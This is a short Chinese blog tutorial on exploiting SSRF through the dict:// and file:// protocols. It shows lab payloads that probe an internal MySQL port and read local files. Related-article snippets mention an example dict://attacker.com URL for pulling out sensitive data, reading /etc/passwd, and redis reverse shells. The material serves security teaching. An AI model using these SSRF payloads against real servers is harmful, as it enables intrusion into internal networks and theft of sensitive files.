ssrf之dict协议和file协议

已于 2023-12-29 09:04:40 修改
阅读量1k 收藏 12
点赞数 10
文章标签： 网络协议
于 2023-12-29 09:04:17 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_59020256/article/details/135282704
版权

1.dict协议

dict是什么协议呢？

定义：词典网络协议，在RFC 2009中进行描述。它的目标是超越Webster protocol，并允许客户端在使

用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。

官方介绍：http://dict.org/rfc2229.txt

利用dict协议可以探测出目标端口的指纹信息，进一步方便我们利用。

localhost2:8181/ssrf/ssrf1.php?url=dict://172.16.129.33:3306

2.file协议

获取铭感文件信息

可以利用file://协议来读取一些铭感文件：

localhost2:8181/ssrf/ssrf1.php?url=file://D:/a.txt

爱喝水的泡泡
关注
  • 10
    点赞
  • 踩
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ssrf dict MySQL_SSRF漏洞用到的其他协议（dict协议，file协议）
weixin_35431719的博客
02-22 984
0x00 引言当SSRF打内网reids时，若gopher协议用不了，我们也可以用其他协议0x01 dict协议一、定义：词典网络协议，在RFC 2009中进行描述。它的目标是超越Webster protocol，并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。(摘自百度百科)二、学习参考链接：使用 dictd 搭建 DICT 字典服务器DICT协议全文三、DI...
SSRF利用协议中的万金油——Gopher
qq_57172130的博客
08-07 7304
使用gopher协议进一步利用ssrf
SSRF中利用到的协议
shayebudon的博客
03-28 7390
一dict协议 定义：词典网络协议，在RFC 2009中进行描述。他的目标是超越Webster protocol，并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。 dict协议在ssrf中的利用 dict协议功能： 1、探测内网主机 2、探测端口的开放情况和指纹信息 3、执行命令 使用方式： 1、dict://serverip:port/命令:参数 2、向服务器的端口请求为【命令:参数】，并在末尾自动补上\r\n(CRLF)，为漏洞利用增加了便利 3、dict协议执行命令
细说——SSRF
热门推荐
LainWith的博客
10-11 1万+
目录什么是SSRF形成原因容易出现SSRF的地方SSRF的危害脑图SSRF相关函数和协议函数file_get_contents()fsockopen()curl_exec()协议漏洞检测常用绕过方式限制为http://www.xxx.com 域名时（利用@）限制请求IP不为内网地址限制请求只为http协议利用[::]利用句号利用特殊地址利用协议利用上传利用Enclosed alphanumerics靶机演示CTFhub内网访问伪协议读取文件端口扫描其他SSRF打穿内网SSRF-lab漏洞防御参考 什么是S
SSRF攻击与Gopher协议
RuiLike的博客
06-04 1286
Gopher定义Gopher是Internet上一个非常有名的信息查找系统，它将Internet上的文件组织成某种索引，很方便地将用户从Internet的一处带到另一处。在WWW出现之前，Gopher是Internet上最主要的信息检索工具，Gopher站点也是最主要的站点，使用tcp70端口。但在WWW出现后，Gopher失去了昔日的辉煌。现在它基本过时，人们很少再使用它；gopher支持发出GET、POST请求。
SSRF漏洞中使用到的其他协议
qq_43665434的博客
04-04 1328
清明时节雨纷纷，路上行人欲断魂。 1、dict协议 定义：词典网络协议，在RFC 2009中进行描述。他的目标是超越Webster protocol，并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。 dict协议在SSRF漏洞中的使用 gopher协议的使用需要满足的条件： 协议 支持情况 PHP –wite-curlwrappers且php版本至少为5.3 Java 小于JDK1.7 Curl 低版本不支持 Perl 支持 ASP.
104-web漏洞挖掘之SSRF漏洞1
08-03
1. 禁用不必要的网络协议，只允许http和https请求，防止如file://等非标准协议引发的问题。 2. 统一错误信息，避免因错误提示暴露服务器的内部结构或状态。 3. 对302重定向进行严格控制，每次重定向都检查新Host是否...
护网全套教学pdf资料和工具包
06-29
09-SSRF.zip 10-XXE.zip 11-Java反序列化漏洞.zip 11-PHP反序列化.zip 12-文件上传漏洞 2.zip 13-文件包含漏洞.zip 14-流量分析.rar 15-权限维持-课件.rar 16-内网代理-课件.rar 17-内网渗透-课件.rar 18-入侵排查....
第29天：WEB漏洞-CSRF及SSRF漏洞案例讲解1
08-03
1、当用户发送重要的请求时需要输入原始密码 3、检验 referer 来源，请求时判断请求链接是否为当前管理员正在使用的页面（管理员在编辑文章， 4、设置验证码
你未见过的SSRF利用方式
06-20
Side Request Forgery:服务器端请求伪造) 是⼀种由攻击者构造形成，由服务端发起请求的⼀个安全漏洞 原因是由于服务端提供了从其他服务器应⽤获取数据的功能且没有对地址和协议等做过滤和限制 本⽂讲解⼀个ssrf的...
Net-Dict：Perl的Net :: Dict模块，它使用DICT协议（RFC 2229）
02-05
Net-Dict：Perl的Net :: Dict模块，它使用DICT协议（RFC 2229）
第一节 SSRF原理介绍-01
09-15
3. 利用file协议读取本地文件等。 SSRF漏洞代码分析: 存在SSRF漏洞代码示例如下： function curl($url){ $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_HEADER,0); curl_exec...
SSRF的利用方式
mingyqf的博客
11-06 6787
r3kind1e2021-03-10 03:30:32133923 SSRF的利用方式 本文对ctfhub和SSRF_Vulnerable_Lab中SSRF的利用方式进行了总结。 0x00 技能树 SSRF 常利用的相关协议 http://：探测内网主机存活、端口开放情况 gopher://：发送GET或POST请求；攻击内网应用，如FastCGI、Redis dict://：泄露安装软件版本信息，查看端口，操作内网redis访问等 file://：读取本地文件 Bypa...
SSRF漏洞（原理、挖掘点、漏洞利用、修复建议）
xv66666的博客
07-03 5616
SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求，由服务端发起请求的安全漏洞。一般情况下，SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的，所以服务端能请求到与自身相连而与外网隔离的内部系统)。
SSRF---gopher和dict打redis
unexpectedthing的博客
12-01 5088
前言 之前关于SSRF打redis(redis的未授权漏洞)都没咋总结，现在总结一下。 redis简介 redis是一个key-value存储系统，是一个开源（BSD许可）的，内存中的数据结构存储系统，它可以用作数据库、缓存和消息中间件。 它支持多种类型的数据结构，如 字符串（strings）， 散列（hashes）， 列表（lists）， 集合（sets）， 有序集合（sorted sets） 与范围查询， bitmaps， hyperloglogs 和 地理空间（geospatial） 索引半径查询。
java框架_Java世界中，序列化框架如何选型？
weixin_39987211的博客
11-14 166
摘要序列化和反序列化几乎是工程师们每天都要面对的事情，但是要精确掌握这两个概念并不容易：一方面，它们往往作为框架的一部分出现而湮没在框架之中；另一方面，它们会以其他更容易理解的概念出现，例如加密、持久化。然而，序列化和反序列化的选型却是系统设计或重构一个重要的环节，在分布式、大数据量系统设计里面更为显著。恰当的序列化协议不仅可以提高系统的通用性、强健性、安全性、优化系统性能，而且会让系统更加易于调...
ssrf dict MySQL_SSRF——漏洞利用（二）
weixin_35531735的博客
02-22 429
1|00x01 概述上篇讲述了SSRF的一般用法，用http协议来进行内网探测，攻击内网redis，接下来讨论的是SSRF的拓展用法，通过，file，gopher，dict协议对SSRF漏洞进行利用。2|00x02 实验环境存在SSRF漏洞的靶机：192.168.220.143被攻击的内网系统A：192.168.220.139 (web服务器)SSRF漏洞存在于页面：http://192.168...
ssrf漏洞利用(内网探测、打redis)_ssrf内网探测，滴滴公司面试经验
最新发布
2301_79988566的博客
04-13 704
gopher协议是比http协议更早出现的协议，现在已经不常用了，但是在SSRF漏洞利用中gopher可以说是万金油，因为可以使用gopher发送各种格式的请求包，这样就可以解决漏洞点不在GET参数的问题了。这个协议可以读取系统的一些存放密码的文件，比如说linux的/etc/passwd或者windows的C:/windows/win.ini 等，或者说ctf中的flag文件。payload采用的是bash反弹，定时程序路径是/var/spool/cron/root。
ssrf dict伪协议
08-09
SSRF（Server-Side Request Forgery）是一种安全漏洞，它允许攻击者在目标服务器上执行未经授权的请求。而"dict"是一种用于查询字典数据的URL协议。 在SSRF中，攻击者可以通过构造恶意请求，将目标服务器发送到指定的URL中，包括dict协议。dict协议可以用于查询字典服务，如词典、翻译等。然而，dict协议也可以被滥用，用于进行SSRF攻击。 攻击者可以通过构造dict伪协议的URL，将目标服务器发送到一个字典服务中，进而获取敏感信息或者执行未经授权的操作。例如，攻击者可以构造如下的URL： dict://attacker.com:80/getSensitiveData 在这个例子中，攻击者将目标服务器发送到了attacker.com域名下的一个字典服务，并请求获取敏感数据。这样的攻击可以导致数据泄露、服务失效等安全问题。 为了防止SSRF攻击，开发人员需要在代码中对用户输入进行严格的验证和过滤，并限制服务器发起请求的目标。此外，服务器也可以配置防火墙或者网络代理，限制对内部网络的访问。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值